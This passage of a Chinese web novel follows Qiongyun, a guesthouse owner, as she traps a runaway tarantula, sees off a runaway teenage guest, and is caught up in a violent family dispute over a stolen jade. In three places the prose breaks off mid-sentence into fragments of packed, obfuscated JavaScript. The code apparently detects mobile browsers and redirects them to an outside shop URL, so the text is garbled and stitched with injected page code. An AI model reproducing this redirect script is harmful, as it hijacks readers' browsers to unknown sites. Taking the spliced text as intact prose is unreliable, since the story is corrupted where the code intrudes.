屈朗今年18岁,是一名刚高中毕业的学生,在处理他斗殴事件的民警眼里,他还是个孩子,所以即便他的行为造成的后果没有严重到需要住院或被拘留的地步,也有必要告知他的父母。 但今天即使警察不和屈朗的父母联系,屈朗自己恐怕也会主动和父母联系,因为那台被砸坏的单反相机是他妈给他买的,决定赔偿金数额的购买记录和价格明细也在他妈手上。而他妈得知事情的来龙去脉后也并没有在第一时间向警察出示证据,因为她怕屈朗及时拿到赔偿金后又跑得不见踪影。 这些在派出所里发生的故事细节是屈朗在琼云帮他搬东西的时候说的,琼云不能在大晚上因为一只抱脸虫,充满歉意地让屈朗收拾行李滚蛋,所以两人合力将行李搬到了隔壁房间,包括被褥和蚊帐,这两件东西怕落灰,平常都关在柜子里,所以隔壁房间的床是空的。 搬行李的过程中,琼云听到屈朗的肚子咕咕叫了好几次,于是在搬完后,她问:“你没吃晚饭?” 屈朗难为情地说:“她男朋友就是吃饭的时候过来的。” “你和那个姐姐一起吃的晚饭,她男朋友不在?” “嗯。” 琼云突然觉得屈朗挨的这顿打也并非完全无辜,她指指门外,说:“你刚才没踩砂锅里吧?要是干净还能吃。” 屈朗摇了摇头:“没有” “那你出去吃,这房间有段时间没住人了,我打扫一下。” 屈朗应了一声,就出去了。 琼云拧了抹布把桌椅和床头都擦了一遍,地板看不出脏,就随便扫了扫,收拾完出去时,屈朗吃得正香,脸都快埋进砂锅里了,琼云觉得离开前有必要跟他打个招呼:“你吃完放那就行,我明天早上再来收拾,没别的事,我回房间了。” 屈朗却放下筷子,趁她迈出厢房前叫住了她:“我能不能问你一个冒昧的问题?” 琼云蹙眉:“有多冒昧?” “你爸妈是不是离婚了?” “没有,我妈去世了。” “……”这个问题比他想象中更冒昧,“对不起啊。” 琼云反过来问他:“你爸妈要离婚?” “嗯。” 父母捱到子女高考后离婚,是一个非常经典的桥段。 “你不想他们离婚所以跑出来?” “那倒不是。” “你选不出跟谁?” 屈朗莫名有些烦躁:“我又不是小孩子了,以后上大学实习工作什么的就不怎么回家了。” “也是。”他已经是一个法律意义上的成年人——琼云用眼睛描摹他身体的轮廓和起伏,骨肉匀称,脊背挺拔,归功于年轻的新陈代谢,不必刻意锻炼也拥有自然流畅的肌肉线条,这显然是一具成熟的男性身体,并且充满活力。 琼云第一眼见到他,就觉得他的身体很美,美得很舒服,舒服得就像刚打磨锋利的圆刃雕刻刀在木头上削出的第一道凹槽。 只是一直盯着人看的行为很奇怪,屈朗被盯得怀疑米线的汤水溅到了衣服上,于是低下头把衣服揪出两个犄角,看了又看,结果衣服很干净,于是他抬起头来发出疑问:“我身上有东西吗?” “没有。”琼云回过神来,脸有些发烫,赶紧让话题重回正轨:“不是因为你父母离婚才离家出走,那你问我这个问题干嘛?” 屈朗努起嘴,用撒娇的语气说:“他们两个一个让我学这个,一个让我学那个,谁也说服不了谁,明明说好高考完就陪我出去旅游的,结果每天都在吵架,我觉得他们很吵,而且他们选的专业我一个都不喜欢,然后我就自己一个人跑出来了。” “你大学专业是自己选的吗?”屈朗又把问号抛给琼云。 “我没上过大学。”琼云说。 “……” 这天根本聊不下去。 “我给不了你有用的建议,别问我了。”琼云撂下这话,扭头就走,左脚刚跨出厢房大门,她才突然想起自己也有一些需要在屈朗身上找到答案的问题:“你怎么知道我把玉放在床上?” 屈朗说:“你叔叔当时就在翻你的床。” 琼云懊恼地闭上了双眼——既知道她把玉拿走又了解她的生活习惯并且有可能把这些消息透露给四叔的,除了奶奶还有谁? 奶奶之前送过琼云一只金手镯,并且嘱咐琼云要藏在垫被底下,因为绝大多数小偷半夜进屋偷东西绝对不会想惊扰到睡梦中的主人,琼云当时觉得奶奶说得很有道理,还真把这话听进去了。 琼云也怪自己没有在白天锁房门的习惯,金手镯还在的时候,南北厢房还没收拾出来做民宿,不锁门也理直气壮,金手镯卖掉以后,房间里就一直没什么贵重物品了,所以即便如今家中有外人进进出出,白天也是不上锁的,连锁门的钥匙都不知道扔到哪去了。 “你刚才为什么不直接问我?”琼云听到屈朗的声音,睁开眼,看到了他既怨恨又委屈的表情,他的嘴唇被汤水濡湿,格外红润,一张一合很惹眼:“你用那种语气对我说话,很伤人。” 琼云听说嘴唇薄的人薄情冷血,嘴唇厚的人则忠厚仗义,她见过许多人,这些人的实际性格和行事作风往往与带给她的第一印象相契合,就像树木内部的健康与否会通过枝叶和树皮的状态反应出来,所以她认为面相之说有几分道理,并非迷信。 而屈朗恰好生了一张厚道饱满的嘴唇,这种面相加深了他被琼云质疑后的愤怒表现的可信度。 于是琼云诚实回答他:“我故意的,语言可以编造,但情绪很难伪装,我不信任你,而且你发现我叔叔在我房间里找东西,没有第一时间通知我,而是自己藏起来的做法也很奇怪。” 屈朗解释说:“你当时在睡觉嘛,我不想吵醒你,本来想在你睡醒以后告诉你的,可是下午我出去给那个姐姐拍照就忘记了。” 琼云听他这个姐姐那个姐姐地叫,心里一股无名火:“我是在睡觉,不是在给人开膛做手术!” 屈朗察觉到了她的怒意,于是用指尖摁住嘴唇,仰头看向天花板,陷入沉思——在别人还不知情的情况下就帮人把问题解决掉,难道不是很酷吗? 琼云走了。 刚跨出厢房大门,她看到了一只飞蛾,跌在走廊上,离被风雨飘湿的地方很近,扑闪着受损的翅膀。飞蛾的生命很短暂,翅膀受了伤,只会更短暂,蚂蚁很快就会成群结队过来把它们的“食物”搬走。 琼云决定用这只濒死的飞蛾制作一个简易的陷阱,她找了一个原本装着梅子干的空塑料罐,拧开盖子,把飞蛾投进去,然后去引诱抱脸虫,抱脸虫仍栖在墙上,于是她给罐子的一面贴上双面胶,口朝抱脸虫,尽量不发出动静贴到墙上,紧接着弹簧似的躲开。 琼云在旁边蹲了很久,蹲到屈朗吃完米线也过来凑热闹,甚至改变主意把创口贴贴上了,抱脸虫仍始终没有任何准备捕食的迹象。 琼云半自言自语:“蜘蛛……视力很差,它是不是看不到?” 屈朗说:“它可能性格比较内向,你一直盯着它看,它吃不下饭。” 这家伙在说什么呢?琼云质疑道:“它视力很差,怎么知道我在盯着它看?” “它视力很差,那它是怎么捕食的?” 可说呢? 琼云低头查手机,查到蜘蛛是靠触觉发现猎物的,会织网的靠猎物落到网上产生的振动,不会织网的靠身体上灵敏的刚毛,这些刚毛可以感受空气中的波动频率和湿度,包括气味。 于是琼云面容扭曲地拿屈朗刚吃过米线的筷子夹着飞蛾凑到抱脸虫嘴边……可抱脸虫仍旧不为所动,它的心比修道者更为坚定。 这下琼云不耐烦的情绪大过了恐惧,一边把罐口往抱脸虫脑袋上怼,一边拿筷子撵它的屁股,前后夹击,抱脸虫突然狂躁起来,琼云闭上双眼,生死由命。 “抓住了!” 琼云听到屈朗兴奋的叫声,睁开眼,抱脸虫已然被困进罐子,她连忙倒过来让罐口朝上,伸手示意屈朗:“盖子盖子!” 屈朗拿了桌上的盖子递过去,琼云接过,罩住罐口,快速拧紧,紧绷的神经终于得以松弛下来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168733|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 琼云掌着罐底,臭屁地转了转——这么简单的事情,刚才何必搬东西换房间呢? 琼云给罐子扎了个透气孔,隔天一早去买菜的时候,顺道去居委会找一个在那工作的亲戚罗婶,让她帮忙问问哪家的宠物蜘蛛丢了,可罗婶竟然说让她炸了吃,免得再跑出来吓到游客。 琼云露出了一言难尽的表情,这种表情让罗婶误以为她在害怕,非要跟着琼云出一趟外勤,在琼云的万般推辞下,罗婶骑上了小电驴。 琼云只好打电话给师庆求助: “你去看一下它还在不在,就是之前装梅干的罐子,打开门就能看到……没有?是装梅干的罐子啊,很大的,罐子里没有?你看清楚了吗?”琼云说到这里露出懊悔的表情:“我本来想让你顺便带到山里丢掉,婶婶说怕跑出来吓到游客,那个盖子我找不到了,就用了本书压着,没想到它力气这么大……” 琼云挂掉电话后对罗婶说:“蜘蛛跑出来了,麻烦你帮忙提醒一下我家周边那一带的人,可能又跑到别人家去了,让他们小心,那只蜘蛛真的很大,我昨天晚上吓死了,也不知道是谁家养的,国外的品种,国内都没有。” 罗婶答应了,琼云忽悠成功一身轻,载着一筐新鲜的菜回家去。 屈朗一夜没睡,太阳还没升起来的时候,他就在院子里走来走去,走去走来,他现在仍在走,但等琼云推开家门,把自行车溜进去,他又凑到琼云身边来,像跟屁虫一样,琼云走到哪,他跟到哪,琼云早上起来出现在他面前的时候,他就是这样。 琼云把车前框里的菜拎进厨房去洗,屈朗也跟着进厨房。 水柱平缓得仿佛没有在流动,慢慢注入洗菜的盆子中,琼云将水蕨菜鲜嫩蜷曲的部分一枝枝摘进去,她摘得很娴熟,摘完以后盆里的水也没有过半,于是她把水流拧得更大,冲打在水蕨菜上,水花像烟花一样绽开,其中一颗水珠精准地砸进了屈朗布满血丝的眼睛里,他被迫抬起手揉眼睛。 琼云关掉水龙头,扭头看他:“你一直跟着我干嘛?” 屈朗略微偏转身体,把手放下来,睫毛被揉湿,像在哭:“我不想回去。” “你和我说没用。” “我舍不得你。” 这肉麻的话打得琼云猝不及防,浑身筋脉仿佛盆里的水蕨菜一样蜷曲起来,她把脑袋转回去,双手插进被水浸没的水蕨菜里,用大拇指把它们蜷曲的头部推直,那些是未展开的幼叶,最容易夹杂泥沙和小虫,也最柔嫩,容易折断。 果然折断了,孤单地飘在水面上。 琼云问:“你一晚上没睡觉,头晕吗?” “晕。” “那就去睡觉。” “我睡不着。” 琼云对他笑:“那你帮我把菜洗了。” “哦。”屈朗没有把手伸向盆里的水蕨菜,而是伸向了一旁还躺在塑料袋中的芋头花。 琼云连忙出声制止:“别碰,刺手,我跟你开玩笑的。” 屈朗没碰,手指茫然地往瓷砖上戳了戳。 琼云又问:“你爸妈大概几点下飞机?” “大概中午吧。” “那我米饭煮多一点。” 屈朗的眼睛忽然睁大:“你要请我爸妈吃饭啊?” “是给你吃,你爸妈下了飞机还要转车,午饭不在飞机上吃掉,也在来的路上吃掉了。” 屈朗忧郁地看着琼云,看了一会儿,突然翻起了装菜的塑料袋们:“你没有买菌子,但是你昨天晚上做给我吃了,冰箱里应该还有吧?你用毒性低的菌子不炒熟做给我吃,我食物中毒进医院就赶不上回去的航班了。” “?”琼云被他智慧的大脑给惊艳到了:“你真聪明,我做凉拌见手青给你吃。” 屈朗呆滞了片刻,嘴唇蠕动:“会死人的吧?” “你知道就好。” 中午的餐桌上没有没炒熟的菌子,甚至连菌子都没有,吃完午饭,琼云又泡了一壶普洱茶,在普洱茶氤氲的香气中,屈朗接到了他父母的电话。 琼云目送他的背影走远,直至完全消失在视野,她想,两人下一次再见面,大概就是这辈子最后一次了。 她已经习惯离别。 8. 第 8 章 阿桐是琼云儿时的玩伴,从升入中学后,由于加重的课业、缩减的假期,亦或各自性格和人生方向发生的转变,两人的关系逐渐疏远,但人与人之间的缘分似乎遵循的某种恒定的规律,琼云前脚与屈朗分别,后脚又与阿桐重逢了。 在琼云的记忆当中,阿桐的形象是扎着两只麻花辫、性格活泼的小女孩,但如今的阿桐,却是留着挑染的鲻鱼头,看起来雌雄莫辨、不苟言笑的帅气女生。 琼云第一眼都险些没认出她来。 “你找谁?”琼云站在门槛里。 阿桐站在门槛外,她问道:“蜘蛛跑掉以后你有没有再找过?” 琼云听到这话,心情豁然开朗起来:“那只蜘蛛是你养的?”她让开道请阿桐进来,“它没跑掉,它昨天晚上吓到租客,我把它捉进罐子里了,就在房间。” 没做停留,琼云立即就引阿桐去到屈朗原先住的房间,装着蜘蛛的罐子就放在地板上。 阿桐蹲下身,拎起罐子检查蜘蛛的状态,琼云则站在一旁讲述昨晚惊心动魄的经历,从寻找蜘蛛的踪迹讲到打开灯发现它就近在眼前,再讲到如何将蜘蛛捉进罐子,最后讲到今早她是如何欺骗她那位在居委会工作的亲戚的。 蜘蛛还活着,也没受伤,阿桐问:“你昨天拿筷子戳它屁股以后,身上痒吗?类似切芋头花的感觉,它肯定踢毛了。” “踢毛?”琼云抚摸着手臂回想,昨晚刚捉住抱脸虫时没注意,但后来确实有类似沾到芋头花的汁液那种又痒又刺痛的感觉,“我以为是皮肤太干才那样,还抹了护肤乳,原来是因为踢毛,这是它的攻击行为吗?” 阿桐点头:“对,它们感受到威胁时,就会用后腿把屁股上的毛踢下来,我也被踢过,你现在还感觉不舒服吗?” “没有,今天早上醒来就没感觉了,我没直接上手,所以还好。”琼云庆幸当时闭上了眼睛,踢到皮肤上事小,踢到眼睛里可就麻烦了。 “那就好。”阿桐再次看向罐子里的抱脸虫,“它虽然身体很大,其实胆子很小,没安全感就不会进食,所以你当时用虫子诱惑它没用。” 琼云扬眉:“难怪。” 阿桐突然起身,道:“能不能放你家养几天?包括没跑出来那只。” 琼云皱眉:“为什么?” 阿桐解释说:“我妈不喜欢我养蜘蛛,这次跑出来,就是因为她故意把盒子打开,养在你这里几天,等我找到房子从家里搬出去,就拿走,可以吗?” 琼云作为房东,认为这个忙帮起来并不容易:“可万一又跑出来怎么办?我没关系,但我这里有租客。” “盒子有锁扣,不打开就不会跑出来。”阿桐从手机中翻出照片,是抱脸虫的旧照,它身边有石块和干枯的树枝,带着透气孔的亚克力盒子把它们封锁在内。 阿桐信誓旦旦地说:“以前从没跑出来过,它们胆子很小,只喜欢缩在角落里。” 琼云顺着阿桐指尖所指的方向看到了盒子上三面环绕的锁扣,看起来挺结实的,于是勉强答应下来。 阿桐找到了救星,立刻回家把两只饲养箱都拎过来,她养了两只蜘蛛,另一只身材较小但颜色更为鲜艳丰富,腿是蓝色,胸背部是蓝绿色,腹部是橙色,幸运在跑出家门前被她找回。 阿桐把抱脸虫从塑料罐里捞出来放回饲养箱,琼云指着颜色鲜艳的那只说:“这只真漂亮,好像汽油。” 阿桐把抱脸虫的房门锁死,为琼云科普道:“这个品种叫红绿橙。” 好直白的名字。 可琼云看到了橙,看到了蓝绿胸背部勉强算的绿,却没看到红,不免感到奇怪:“它的腿是蓝色,上半身是蓝绿色,为什么不叫蓝绿橙?” 阿桐翻出红绿橙的童年照片:“你看,它小时候不是这个颜色,肚子是红黑条纹的,不过我也不知道为什么翻译过来叫红绿橙,拉丁学名直译不是这个意思。” 琼云对比红绿橙的童年照片和成年状态,差别简直仅此于蝌蚪和青蛙,小时候半点蓝色或绿色都没有,不光腹部是红黑条纹的,腿还是肉粉色,胸背部也是金色夹黑色的,真是蛛大十八变。 阿桐还告诉琼云,抱脸虫小的时候,膝关节处也是没有红色裂纹的,长大以后才有,刚蜕完皮时颜色格外鲜艳漂亮,像把人的皮肤撑裂,血充盈上来的样子。 阿桐谈论这些事情的时候,眼睛格外亮,她只是外形变得冷酷,内心还是和小时候一样,分享欲和倾诉欲都很旺盛。 琼云拿了一些零食和水果过来,和阿桐边吃边聊,回忆往昔,谈论近况。 阿桐大专毕业后做了一年会计工作,最近刚回来,她说大城市里工资虽然高,但房租和物价也高,再加上学历低、学的专业烂大街,根本攒不了钱,所以打算回来重新找份工作,想着工资虽然低些,但能削减吃住的费用,或许能攒到更多。 “但是你要从家里搬出去,房租就减不了。”琼云说。 “可是在大城市里两千块都未必有我们这几百块租到的房子好。”阿桐用“耶”的手势同时指两个饲养盒,“尤其我带着这两个崽,根本没人愿意和我摊房租,想省钱只能租非常偏僻的地方,离公司特别远,天没亮就要起床赶地铁,经常加班到很晚,觉都睡不醒,明显感觉到身体素质比以前差了,再这样下去,省出来的钱都要赔进医药费里了。” 琼云撑着下巴,目光因放松而不聚焦,她小幅度点了点头,表示赞同:“有道理。” 话音刚落,楼下突然传来了清晰的叩门声,紧接着是一个女人的嗓音。 琼云回过神,离开房间,阿桐也跟了出来,两人在走廊上看见师庆从工作室出来,沿着走廊走到大门口,把四叔和四婶迎进了门。 家丑不宜外扬。 琼云转头对阿桐说:“你今天先回去吧,蜘蛛就放在这个房间,你随时可以过来。” 阿桐表示理解,和琼云要了个微信,两人就一起下了楼。 琼云把阿桐送出门,就回去沏茶,师庆已经把水烧上了。 包括听到动静凑过来的奶奶在内,总共四个人围坐在茶几前,他们没有直接切入正题,而是在电水壶的嗡鸣中,有一句没一句地寒暄着。 琼云沉默地站在一旁,取两个一次性杯子,分别倒些茶叶进去,然后无所事事地等水烧开。茶只需要给四叔和四婶准备,她自己不想喝,奶奶不爱喝,师庆则每天一大早就会泡上满满一大保温杯的茶,不需要。 等热水“哒”的一声烧好,琼云就把茶沏上,拎到四叔和四婶跟前,顺便把师庆的保温杯倒满,然后依旧站在一旁。 奶奶拍了拍身旁树桩凳子的年轮,拍去上面几乎不存在的灰尘,略微用力拉琼云的胳膊:“坐。” 琼云摇头拒绝。 于是奶奶拉得更用力:“坐下。” 琼云轻声说:“屁股疼。” “屁股咋个疼?”奶奶的手往下探,指腹摁到了琼云的屁股上。 琼云只好逃去沙发上翘着二郎腿刷手机。 “留下吃晚饭嘛。”师庆对老四夫妻俩说,不等他们回应,就扭头问琼云:“囡儿,家头菜够不够?不够去超市整点去。” 琼云把手机挪到一边,露出脸来,没说话,只把眼神往着四叔脸上戳,四叔拉着一张驴脸,说:“不吃。” 师庆一开始喊四叔过来吃饭,四叔就不想吃,但四叔的性情也是喜欢调和、折中的,师庆改口说哪天兄弟姐妹几个一起聚个餐,四叔就来了。 但这显然只是其中一个原因,他实际上是在两面夹击的压力下被挤飞过来的,另一边的压力来自于他老婆,因为磨蹭了半天,还是他老婆把他失业外加被骗了二十万投资金这两件事给抖出来的。 得知这两个坏消息,师庆反而松了一口气,因为这远比他猜测的“赌博欠了一屁股债”好多了,他语重心长地说:“这种事情你咋个不早告诉我们噶?我们是一家人,有事情肯定要互相帮忙,你早该告诉我们。” 四叔依旧拉着个驴脸:“告诉你有啥用,你自己还欠人债。” “告诉我莫用,你就想悄悄呢卖出去把玉?”师庆摊手,“汉朝的东西,整不好钞票莫得,还要进去肿牢饭去呢,你可认得,啥子香港的朋友,你晓得他要整哪样噶?” 四叔一下子精神了:“我没偷!” 四婶轻轻推搡丈夫:“大哥说的有道理,整不好要吃牢饭呢。” 四叔更火大,低声吼她:“我说了我没偷!房贷不用你交,你轻松!你胳膊肘往外拐!” 四婶被吼得没底气,声音轻得像蚊子叫:“我说那人是骗子你不信。” 琼云抱着手机幽幽来了一句:“没偷着,又不是不想偷。” 四叔听到这话像弹簧一样跳起来:“你说啥?!” 琼云放下手机,直起身来:“我说你只是没偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168734|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,不是不想偷,说错了吗?你不心虚你今天来干嘛?” “琼云!”师庆啧了一声。 四叔吹胡子瞪眼,指着琼云骂道:“我是你长辈,你这样和我说话!?哪个教你的?没教养的东西!” 琼云腾的一下也站了起来:“你进我房间里偷东西,你好意思说我没教养!?” “谁偷东西了!你看到了吗?” “我没看到,不代表别人没看到!” 眼看乱了套,奶奶连忙出来打圆场,跑到琼云身边捏着琼云的手,一边跺脚一边劝:“他是你老耶,没偷就是没偷,咋个会骗你嘛?莫乱扯拐。” 琼云一把掰开奶奶的手,瞪着她骂道:“你莫装憨!他想偷你会不晓得?我挨玉藏被垫下的事情不是你说出去噶?你莫想赖!” 奶奶哎呦了一声,老脸皱成一团,瞬间红了眼睛。 “琼云!”师庆叫了琼云好几声都没叫应,朝琼云走过来把音量提得更高,“莫你相干,上楼去!” 琼云只是瞥了他一眼,并不理会。 四叔在气头上,又找到由头骂琼云:“当老耶跟你老子的面,都敢跟你奶奶这么说话,背地里都不晓得咋个欺负你奶奶,没良心的东西!难怪你亲妈不要你,我大嫂养你这么大还不如养条狗!我大嫂就是遭你给克死的!” “你再说一遍!”琼云目眦欲裂,猛地抄起沙发上的一本重书就砸过去,电光石火之间,师庆斜身抻长手臂,扣球一般把书打下,书扑到地上,灰尘和木屑被振飞离地。 “过分了你!”师庆扶着剧痛的腰朝老四指责道。 琼云双目赤红,被师庆抓住了一只胳膊,身体仍往前扑:“你有什么资格骂我!?奶奶吃的饭是我做的,衣服是我洗的,昨天她长湿疹,药也是我上山采的!我给她捣碎了涂的!你就偶尔回来在她面前放几个屁你就比我孝顺!你想偷那块玉没偷着就好意思说你没偷?还想栽赃嫁祸给别人!小心出门被车撞死!” “谁栽赃?!” “琼云。” 琼云看向师庆,才发现他眉头皱得很深,看起来有些痛苦。 “腰又痛了?” 这是做木工落下的职业病。 师庆没有回应这个问题,只是偏脸指门外:“去开门。” 琼云这下才听到叩门声,“挡什么?”她嘀咕了一句,才跨出工作室去开门。 扒开两扇门之间的缝隙,琼云最先看到的是一个她从没见过的女人,身上散发着甜腻的香水味,年纪大约在四十出头,画着精致的妆容,头发是红棕色,带卷,身上穿的是一条修身的裙子,身材保持得很好,佩戴的耳坠和项链是成套的,小臂挎着一只皮包,看起来价格不菲。 “你找谁?”嘴比眼睛快,这话问出口,琼云才发现站在女人身旁的屈朗,他脸上有个显眼的巴掌印,身后还有一个长得和他很像的中年男人,这显然是一家三口。 女人没理会,只看向自己儿子,用下巴指指琼云:“是她?” 屈朗没否认,他对上琼云的视线,发现了一些不太对劲的地方:“你眼睛怎么红了?” 琼云垂眸避开。 “看来没错。”女人将琼云上下打量了一番,然后抄起手,侧过身子,乜斜着眼评价道:“长得还挺清秀的嘛,人模人样的,就是一股狐骚味。” “妈!”屈朗目瞪口呆地看向女人。 “你说什么?”琼云皱起眉头,没有感到愤怒,只是诧异。 “怎么?做都做了,还嫌我说话难听啊。”女人摇摇晃晃的,姿态有不符合她这个年纪的幼稚,“你多大年纪了?应该毕业工作很多年了吧,我儿子才高中毕业,你勾引他,你要不要脸?真是世风日下,现在的小姑娘一个个都这么会勾引人,想从我唔……” 屈朗回过神来,一把捂住女人的嘴,“妈你胡说八道什么?” “你跟你你妈说什么了?”琼云看向屈朗。 “我……”屈朗胀红了脸,失了神,还没把话说清楚,脸上又挨一耳光。 “长能耐了你!”女人扇完巴掌,气势汹汹地插着腰。 旁边的男人劝道:“行了晓菲,少说两句,拿了行李就走。” 琼云的内心意外平静,她从裤兜里掏出手机,算好租金退还给屈朗,然后把屏幕上的转账信息举到他面前给他看:“钱按短租的算,剩下的我都退给你了,收拾好你的东西给我滚。” 9.第 9 章 屈朗哭了,哭得很丑,不光掉眼泪,还像七岁小孩一样张大嘴巴嚎。 邹晓菲嫌他丢人,瞪着眼睛吼他,骂他没出息,屈延峰则上前一把抓住他的胳膊往里拽,问他住哪个房间,赶紧收拾东西。 结果屈朗嚎得更大声了,间歇含糊不清地喊琼云的名字。 琼云第一次听他这样称呼自己,也是第一次见他这样失态,却并不感到新奇,她现在整个人无念无想,轻如透明,仿佛跳出三界外。 这边一家三口连拖带拽地往里走,那边屋里四个人听到凄惨的哭嚎声,也一窝蜂涌出来,于是两派人在走廊中间碰上了。 师庆看了眼哭嚎声音的来源,视线越过一家三口朝他们身后的琼云问:“咋个整的?” 琼云回:“瞒着父母离家出走。” 这三言两语,邹晓菲就推断出了两人的关系,她打量了一下师庆的五官,做最后确认:“你是她爸?” 师庆说对。 于是邹晓菲又摆出盛气凌人的架势来:“管好你女儿,别出来勾引人!” 师庆愣了一下,还没来得及反应,思绪就被屈朗撕心裂肺喊出的一声妈给打断了。 屈朗像考拉一样抱住邹晓菲的胳膊,浑身颤抖,一边摇头一边抽噎着说:“我骗……你的,和她……一点,一点关系都没有,我……只是……不,不想回去,你给人道歉。” 师庆听完这番话,总算琢磨出个大概来了,他抬手指着邹晓菲,用口音浓重的普通话夹着少量方言骂道:“你这个女人说话咋这么难听,自己没把事情整明白,明明你儿子鬼扯卵谈,还骂我女儿,你管好你儿子才对!” 四叔旁观了一会儿也明白过来,突然冷笑一声,指着屈朗喝道:“玉就是他偷的!” “谁偷东西了!说谁呢?!”邹晓菲叉着腰,脖子前抻,骂回去,“你也是这家的?真就不是一家人不进一家门,上梁不正下梁歪!蛇鼠一窝!你们开黑店的吧!?我要投诉你们!” “就说你儿子!你儿子偷东西!”四叔指完屈朗又指向琼云,他说到谁指向谁,在琼云和屈朗之间来回扫,“我现在明白了,你们两个早勾搭到一起去了,他把玉偷走,你还帮他瞒着,为了个刚认识的男的,你诬陷你老耶偷东西,你真孝顺,我大嫂在ICU里的时候都没见你这么孝顺!你个烂蹄壳!” 发泄完,四叔突然眼前一黑,身体被迫后仰,后脑勺“砰”的一声撞到了廊柱上。 紧接着四婶就尖叫起来,“你打我老公!你为哪样打我老公?你个烂杂种!” 屈朗听不清四婶在骂什么,他面容扭曲,捂着刚与四叔的脸亲密接触过的拳头,缩成一只熟虾,低声呜咽,明明是揍人的那一方,却像脚趾尖踢到墙壁似的有气无力地叫起痛来。 “你打他干什么?快让妈妈看看。”邹晓菲心疼地把屈朗捂在怀里的拳头掏出来检查,指掌关节处贴着两只创口贴,是他昨天“斗殴”时一拳没击中,砸到地上磕伤的。邹晓菲温柔地朝痛处吹了吹,紧接着阴狠地诅咒道:“那个绿毛龟,迟早被那臭婊子传染性病,屌都烂掉!” 另一边四婶心疼自家老公,揉着四叔的后脑,问他有没有事,头晕不晕,结果捂着后脑的手一挪开,旁边的奶奶差点晕过去,四婶看清手上鲜红的液体,又尖叫起来:“血——出血了!” 琼云听到这个消息,瞬间变了脸色,无法再置身事外,迅速从人群中挤到四叔四婶身边去,她发现四叔身后的那根柱子上有颗没完全敲进去的铁钉,还剩几毫米留在外面,锈迹斑斑,钉帽很薄,借助屈朗那一拳的力量,足够锋利,能切进皮肉。 这铁钉是以前打上去晾挂东西用的,后来做起民宿来怕租客受伤,就把打得浅的给起了,打得深的给敲埋进去了,没想到还有漏网之鱼。 “烂杂种!”四婶一面掏手机一面骂屈朗,“我要报警抓你去肿牢饭!你给我站的!” 邹晓菲却不以为意:“报什么警吃什么牢饭,你老公顶多有点脑震荡,警察都懒得理你,我给你两万块好啦,手机拿过来给你转。”说到最后还勾勾手指。 这举动却激怒了四婶:“你当我要饭的?!” 邹晓菲轻蔑地道:“那再给你加一万,我还要赶航班,没工夫陪你闹,大姐,你不就是想要钱吗?” 屈朗听到“航班”两个字,脑子里突然嗡的一声,紧接着就饿虎扑食般扑向四婶,紧紧攥住她的手腕,急切道:“阿姨你快报警!你不报警我继续打你老公!我妈不会给你那么多钱的!” “你脑子有病啊!?”邹晓菲一高跟鞋踹到屈朗屁股上,屈延峰也很配合,一把把儿子逮回来,让邹晓菲接着骂。 四婶被整不会了,迷茫地愣在那里,直到琼云拍了拍她的肩膀,说:“婶婶,赶紧带老耶去医院打破伤风针,撞钉子上了,钉子上有锈。”她把指腹上锈和血的混合物给她看。 “破伤风打一针多少钱?”邹晓菲扭头问屈延峰,屈延峰心不在焉地答:“几百块吧。” “你们逃不掉!”四婶顿时恢复愤怒的情绪,眼泪从眼角溢出来,像牛一样喘着粗气,往手机屏幕上戳110。 琼云急忙伸手挡住屏幕,把手机往下压,劝道:“没必要报警,你报警还未必能赔这么多。” “就是。”邹晓菲帮腔。 四婶又惊又怒地看向琼云:“你老耶说的是真的?你们两个早勾搭上了?你舍不得让他拘留是不是?” 四婶抬起手臂,琼云顺着她手指的方向看向屈朗,屈朗不哭了,但仍带着生理惯性在抽噎,眼睛和脸颊都又红又肿,闪烁着泪光,他也在看她,四目相对,哑口无言。 确实有这部分原因,琼云无法否认。 等回过神来,四婶已经把号码拨出去,琼云又去劝:“婶婶,别报警,你听我说。” “你起开!”四婶推开琼云。 报警的事情已经无法挽回,琼云闭上眼睛整理思绪,她听到除了四婶光明正大、义正词严地在向警察控诉不公外,其他人都像老鼠一样窸窸窣窣地在和自家人商量着什么。 当听见师庆对四叔说要把当初借的那五万块钱还给他时,琼云瞬间睁开眼睛,出声制止:“先别,过两天再说,警察要问起来,不好解释。” 师庆不解:“这两件事情哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171002|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点挨边?” 琼云叹了一口气,低声对四叔说:“老耶,我跟你商量一下,我的想法是,你这个伤不重,事情也是我们一家人内部纠纷引发的,警察来了,肯定会先尝试调解,打你那小孩的家长肯花钱解决,你同意一下,签个字这件事我们把它揭过去,没必要一五一十全部跟警察说清楚。” “凭啥?!”四叔挨了打,也很生气,但琼云就等着他这么问呢。 